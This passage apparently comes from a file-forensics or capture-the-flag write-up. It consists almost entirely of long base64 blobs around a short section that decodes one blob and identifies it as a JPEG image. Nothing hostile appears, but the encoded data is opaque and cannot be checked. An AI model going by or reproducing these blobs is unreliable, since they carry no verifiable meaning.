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| base64 -d > unknown_filefile unknown_file```
Output:
```unknown_file: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1080x2094, components 3```
So, the file was a JPEG file. If you are using a VPS server without GUI as I'm doing, you can download the image from there or view directly the image using the Base64 encoded string from the browser (just copy and paste it in the URL bar):
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